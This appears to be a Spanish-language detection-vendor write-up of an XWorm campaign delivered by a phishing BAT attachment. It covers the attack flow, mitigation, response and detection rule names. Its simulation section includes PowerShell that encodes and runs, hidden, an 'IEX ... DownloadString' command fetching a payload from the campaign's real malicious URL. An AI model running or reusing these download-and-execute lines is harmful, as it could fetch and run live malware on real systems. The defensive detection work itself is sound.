Script Malicioso Entregando Más Malicia
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Un correo electrónico de phishing entrega un archivo adjunto malicioso que contiene un script BAT que lanza PowerShell para descargar una carga útil codificada en Base64. Después de decodificar, la carga útil se resuelve en XWorm, un ladrón .NET que identifica al host y exfiltra datos recopilados a través de un bot de Telegram. La persistencia se establece mediante la creación de una tarea programada que ejecuta repetidamente el ejecutable descargado. La operación se basa en múltiples elementos de infraestructura, incluido un señuelo de alojamiento de imágenes falso y al menos una IP comprometida utilizada para el almacenamiento de la carga útil.
Investigación
La revisión del script BAT expuso una línea de comando de PowerShell que recupera un archivo con apariencia de PNG de un dominio controlado por el atacante. El contenido embebido en Base64 se sanitiza, revierte y decodifica para reconstruir el ejecutable .NET. El análisis binario mostró que el malware registra una tarea programada llamada Chromiumx2 y utiliza la API de Telegram para el control y exfiltración de datos. Los investigadores extrajeron indicadores clave de red, incluido el dominio de alojamiento, la dirección IP asociada y el punto de acceso a la API de Telegram referenciado durante la ejecución.
Mitigación
Prevenga la ejecución de contenido no confiable de BAT y PowerShell que provenga de archivos adjuntos de correo electrónico o directorios de descargas de usuario. Aplique una lista de permisos de aplicaciones para restringir la creación de tareas programadas y marque los registros de nuevas tareas sospechosas. Monitoree y, donde sea posible, restrinja el acceso saliente a los puntos finales de la API de Telegram y bloquee los dominios maliciosos identificados en las capas DNS/proxy. Mantenga las detecciones de endpoint actualizadas con indicadores recientemente observados y patrones de descarga basados en scripts.
Respuesta
Aísle los endpoints donde se observe la tarea programada Chromiumx2 o Chromiumx2.exe. Elimine la tarea programada, elimine el binario malicioso y recopile artefactos (script, carga útil decodificada, XML de la tarea y registros relevantes) para un alcance forense. Realice búsquedas en el entorno para encontrar el mismo nombre de tarea, comportamiento de decodificación de PowerShell similar y tráfico dirigido por Telegram. Restablezca las credenciales posiblemente expuestas y notifique a los usuarios sobre el archivo adjunto de phishing para reducir la repetición de la ejecución.
graph TB %% Definiciones de clases classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef process fill:#ffeb99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef c2 fill:#c2f0c2 %% Nodos initial_access[«<b>Técnica</b> – T1566.001 Adjunto de Spearphishing<br/><b>Descripción</b>: El atacante envía un correo malicioso con un adjunto .bat.»]:::technique attachment_file[«<b>Archivo</b> – malicious_attachment.bat<br/><b>Propósito</b>: Libera una imagen PNG con shellcode oculto.»]:::file masquerading[«<b>Técnica</b> – T1036.008 Enmascaramiento del tipo de archivo<br/><b>Descripción</b>: El PNG llamado optimized_MSI.png en realidad contiene shellcode delimitado por BaseStart- y -BaseEnd.»]:::technique png_image[«<b>Archivo</b> – optimized_MSI.png<br/><b>Contenido</b>: Shellcode incrustado con delimitadores.»]:::file user_execution[«<b>Técnica</b> – T1204 Ejecución por el usuario<br/><b>Descripción</b>: La víctima ejecuta el archivo batch malicioso.»]:::technique powershell_exec[«<b>Técnica</b> – T1059.001 PowerShell<br/><b>Descripción</b>: Decodifica datos Base64, revierte cadenas hexadecimales y ejecuta shellcode.»]:::technique obfuscation[«<b>Técnicas</b> – T1027.008, T1027.004, T1027.009, T1027.003, T1027.007<br/><b>Descripción</b>: Payload ofuscado con junk, hex invertido, compilación dinámica, esteganografía y resolución dinámica de API.»]:::technique c2_communication[«<b>Técnicas</b> – T1059.009 API en la nube, T1102.002 Servicio web bidireccional, T1102.003 Unidireccional<br/><b>Descripción</b>: Backdoor .NET utiliza la API de Telegram Bot para C2.»]:::c2 telegram_api[«<b>Herramienta</b> – Telegram Bot API<br/><b>Endpoint</b>: api.telegram.org»]:::tool persistence[«<b>Técnicas</b> – T1543 Crear o modificar proceso del sistema, T1546.002 Ejecución activada por evento, T1547.014 Active Setup<br/><b>Descripción</b>: Tarea programada \»Chromiumx2\» se ejecuta cada minuto; salvapantallas y Active Setup fuerzan la ejecución.»]:::technique scheduled_task[«<b>Proceso</b> – schtasks<br/><b>Tarea</b>: Chromiumx2»]:::process priv_esc[«<b>Técnicas</b> – T1055 Inyección de procesos, T1574 Secuestro del flujo de ejecución<br/><b>Descripción</b>: Shellcode inyectado en un proceso legítimo para obtener privilegios elevados.»]:::technique process_injection[«<b>Proceso</b> – Proceso legítimo<br/><b>Objetivo</b>: Recibe el shellcode inyectado.»]:::process credential_access[«<b>Técnicas</b> – T1555.003 Credenciales de navegadores web, T1539 Robo de cookies de sesión web<br/><b>Descripción</b>: Inyector de Chrome roba contraseñas, cookies y otros datos del navegador.»]:::technique chrome_injector[«<b>Malware</b> – Chrome Injector<br/><b>Función</b>: Extrae credenciales almacenadas y cookies de sesión.»]:::malware discovery[«<b>Técnica</b> – T1217 Descubrimiento de información del navegador<br/><b>Descripción</b>: Enumera rutas de perfiles de Chrome y credenciales almacenadas.»]:::technique exfiltration[«<b>Técnica</b> – T1041 Exfiltración a través del canal C2<br/><b>Descripción</b>: Credenciales e información del sistema se exfiltran vía Telegram.»]:::technique lateral_movement[«<b>Técnicas</b> – T1080 Contaminación de contenido compartido, T1210 Explotación de servicios remotos<br/><b>Descripción</b>: Descarga de payloads adicionales para posible propagación.»]:::technique additional_payload[«<b>Archivo</b> – buildingmoney.txt<br/><b>Propósito</b>: Contiene código malicioso adicional para movimiento lateral.»]:::file %% Conexiones initial_access –>|entrega| attachment_file attachment_file –>|crea| masquerading masquerading –>|produce| png_image png_image –>|usado por| user_execution user_execution –>|activa| powershell_exec powershell_exec –>|realiza| obfuscation obfuscation –>|contacta| c2_communication c2_communication –>|usa| telegram_api c2_communication –>|establece| persistence persistence –>|crea| scheduled_task scheduled_task –>|ejecuta| priv_esc priv_esc –>|inyecta en| process_injection process_injection –>|permite| credential_access credential_access –>|implementado por| chrome_injector chrome_injector –>|recopila| discovery discovery –>|alimenta| exfiltration exfiltration –>|envía datos vía| c2_communication c2_communication –>|descarga| additional_payload additional_payload –>|habilita| lateral_movement
Flujo de Ataque
Detecciones
Posible Abuso de Telegram Como Canal de Comando y Control (a través de dns_query)
Ver
Proceso Sospechoso Utiliza una URL en la Línea de Comando (a través de cmdline)
Ver
Descargar o Subir a través de PowerShell (a través de cmdline)
Ver
Schtasks Apunta a Directorio / Binario / Script Sospechoso (a través de cmdline)
Ver
Cadenas Sospechosas de PowerShell (a través de powershell)
Ver
Archivos Sospechosos en el Perfil Público del Usuario (a través de file_event)
Ver
Cadenas Sospechosas de PowerShell (a través de cmdline)
Ver
Posible Uso de Schtasks o AT para Persistencia (a través de cmdline)
Ver
IOCs (IP de origen) para detectar: Script Malicioso Entregando Más Malicia
Ver
IOCs (IP de destino) para detectar: Script Malicioso Entregando Más Malicia
Ver
Creación de Tarea Programada para Persistencia de Chromiumx2 [Creación de Proceso en Windows]
Ver
Detectar Descarga de Carga Útil de PowerShell Codificada en Base64 [PowerShell de Windows]
Ver
Ejecución de Simulación
Prerequisito: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.
-
Narrativa del Ataque y Comandos:
El atacante quiere descargar y ejecutar una carga útil maliciosa desde un servidor web comprometido. Para evadir la detección clásica de firmas, incrustan toda la lógica de descarga y ejecución en una única cadena Base64 e invocan PowerShell con-EncodedCommand. El comando hace referencia a la URL exacta que la regla de detección monitorea (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
Codifica la carga útil maliciosa (un simple descargador que ejecuta el script recibido):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64Resultado en B64 (ejemplo):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(truncado). -
Ejecute el comando codificado:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
Esta línea única genera exactamente la telemetría que la regla Sigma espera: un proceso de PowerShell, el
-EncodedCommandflag, y la URL maliciosa dentro del bloque de script decodificado. -
-
Script de Prueba de Regresión:
#------------------------------------------------- # Script de regresión para activar la regla de detección #------------------------------------------------- # 1. Construir la carga útil maliciosa $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Ejecute la carga útil mediante un comando de PowerShell codificado Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Comando codificado malicioso ejecutado." #------------------------------------------------- -
Comandos de Limpieza:
# Elimine cualquier archivo transitorio (ninguno esperado porque la carga se transmite directamente) # Termine cualquier proceso de PowerShell oculto restante iniciado por la prueba Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Limpieza completa."